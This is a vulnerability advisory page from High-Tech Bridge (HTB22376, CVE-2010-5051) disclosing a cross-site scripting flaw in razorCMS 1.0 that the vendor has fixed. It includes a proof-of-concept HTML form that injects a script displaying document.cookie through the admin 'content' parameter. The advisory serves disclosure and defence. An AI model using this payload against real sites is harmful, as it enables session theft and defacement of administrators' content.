Stay in Touch

Application security insights and invitations to exclusive events in your inbox

Your data will stay confidential Private and Confidential

Cross-site Scripting Vulnerability in razorCMS

Advisory ID:HTB22376
Vendor:morgan integrated systems limited
Vulnerable Versions:1.0 stable and probably prior
Tested Version:1.0 stable
Advisory Publication:May 10, 2010 [without technical details]
Vendor Notification:May 10, 2010
Public Disclosure:May 24, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2010-5051
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in razorCMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in razorCMS: CVE-2010-5051
The vulnerability exists due to input sanitation error in the "content" parameter in /admin/core/admin_func.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/?action=edit&slab=home" method="post" name="main" >
<input type="hidden" name="title" value="Home" />
<input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' />
<input type="hidden" name="ptitle" value="" />
<input type="hidden" name="theme" value="theme-default" />
<input type="hidden" name="check_sidebar" value="sidebar" />
<input type="hidden" name="save" value="Save Content" />

ImmuniWeb® On-Demand Web Application Penetration Test

Upgrade to the most recent version

[1] High-Tech Bridge Advisory HTB22376- - Cross-site Scripting Vulnerability in razorCMS
[2] razorCMS - - razorCMS is an open source flat file php content management system for apache web servers, works without a database and is offered for free on GPL licence
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Free Trial